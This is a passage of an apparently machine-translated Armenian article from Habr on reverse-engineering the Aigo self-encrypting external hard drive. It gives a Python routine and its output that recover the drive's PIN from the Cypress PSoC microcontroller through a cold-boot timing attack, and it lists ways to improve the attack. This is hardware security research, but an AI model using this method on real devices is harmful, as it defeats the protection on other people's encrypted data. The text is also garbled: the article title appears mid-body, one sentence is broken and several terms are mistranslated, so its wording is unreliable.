Ակնհայտ է, որ PIN կոդը պահվում է չգաղտնագրված ձևով: Այս արժեքները, իհարկե, գրված չեն ASCII կոդերով, սակայն, ինչպես պարզվում է, դրանք արտացոլում են կոնդենսիվ ստեղնաշարից վերցված ընթերցումները։

Ի վերջո, ես անցկացրի ևս մի քանի թեստեր՝ գտնելու, թե որտեղ է պահվել վատ փորձերի հաշվիչը: Ահա արդյունքը.

Aigo-ի ինքնագաղտնագրող արտաքին HDD սկավառակի հետ շրջում և կոտրում: Մաս 2. Cypress PSoC-ից աղբավայր վերցնելը

0xFF - նշանակում է «15 փորձ» և յուրաքանչյուր անհաջող փորձի հետ այն նվազում է:

7.6. PIN կոդի վերականգնում

Ահա իմ տգեղ կոդը, որը միավորում է վերը նշվածը.

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Ահա դրա կատարման արդյունքը.

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ուռա՜ Աշխատում է

Խնդրում ենք նկատի ունենալ, որ իմ օգտագործած ուշացման արժեքները, ամենայն հավանականությամբ, կապված են մեկ կոնկրետ PSoC-ի հետ՝ այն, ինչ ես օգտագործել եմ:

8. Ի՞նչ է հաջորդը:

Այսպիսով, եկեք ամփոփենք PSoC-ի կողմը, մեր Aigo դրայվի համատեքստում.

  • մենք կարող ենք կարդալ SRAM, նույնիսկ եթե այն կարդացվում է պաշտպանված;
  • Մենք կարող ենք շրջանցել սահահարման դեմ պաշտպանությունը՝ օգտագործելով սառը բեռնման հետքի հարձակումը և ուղղակիորեն կարդալով PIN կոդը:

Այնուամենայնիվ, մեր հարձակումը որոշ թերություններ ունի համաժամացման խնդիրների պատճառով: Այն կարող է բարելավվել հետևյալ կերպ.

  • գրել կոմունալ ելքային տվյալները, որոնք ստացվել են «սառը բեռնման հետքի» հարձակման արդյունքում ճիշտ վերծանելու համար.
  • օգտագործել FPGA հարմարանք՝ ավելի ճշգրիտ ժամանակային ուշացումներ ստեղծելու համար (կամ օգտագործել Arduino ապարատային ժամանակաչափեր);
  • փորձեք մեկ այլ հարձակում. մուտքագրեք դիտավորյալ սխալ PIN կոդը, վերագործարկեք և թափեք RAM-ը՝ հուսալով, որ ճիշտ PIN կոդը կպահվի RAM-ում՝ համեմատության համար: Այնուամենայնիվ, դա այնքան էլ հեշտ չէ անել Arduino-ում, քանի որ Arduino ազդանշանի մակարդակը 5 վոլտ է, մինչդեռ մեր ուսումնասիրած տախտակն աշխատում է 3,3 վոլտ ազդանշաններով:

Հետաքրքիր մի բան, որը կարելի է փորձել, դա լարման մակարդակի հետ խաղալն է՝ կարդալու պաշտպանությունը շրջանցելու համար: Եթե ​​այս մոտեցումը աշխատեր, մենք կկարողանայինք բացարձակապես ճշգրիտ տվյալներ ստանալ ֆլեշ կրիչից՝ ոչ ճշգրիտ ժամանակի ուշացումներով ստուգիչ գումար կարդալու փոխարեն:

Քանի որ SROM-ը հավանաբար կարդում է պահակային բիթերը ReadBlock համակարգի զանգի միջոցով, մենք կարող ենք անել նույնը, ինչ նկարագրված է Դմիտրի Նեդոսպասովի բլոգում` կոնֆերանսում հայտարարված Քրիս Գերլինսկու հարձակման կրկնակի իրականացում. «Recon Brussels 2017».

Մեկ այլ զվարճալի բան, որ կարելի է անել, դա չիպից հանելն է. վերցնել SRAM-ի աղբարկղ, բացահայտել չփաստաթղթավորված համակարգի զանգերն ու խոցելիությունները:

9. Եզրակացություն

Այսպիսով, այս սկավառակի պաշտպանությունը շատ ցանկալի է թողնում, քանի որ այն օգտագործում է սովորական (ոչ «կարծրացված») միկրոկոնտրոլեր PIN կոդը պահելու համար... Բացի այդ, ես (դեռևս) չեմ նայել, թե ինչպես են գործերը ընթանում տվյալների հետ: գաղտնագրում այս սարքում:

Ի՞նչ խորհուրդ կտաք Aigo-ին: Կոդավորված HDD կրիչների մի քանի մոդել վերլուծելուց հետո ես 2015թ ներկայացում SyScan-ի վրա, որտեղ նա ուսումնասիրեց մի քանի արտաքին HDD կրիչների անվտանգության խնդիրները և առաջարկություններ արեց, թե ինչ կարող է բարելավվել դրանցում: 🙂

Ես անցկացրել եմ երկու հանգստյան օրեր և մի քանի երեկո այս հետազոտությունն անելով: Ընդհանուր մոտ 40 ժամ։ Հաշվում հենց սկզբից (երբ ես բացեցի սկավառակը) մինչև վերջ (PIN կոդի աղբանոց): Նույն 40 ժամը ներառում է այն ժամանակը, որը ես ծախսեցի այս հոդվածը գրելու համար: Շատ հուզիչ ճամփորդություն էր:

Source: www.habr.com

Добавить комментарий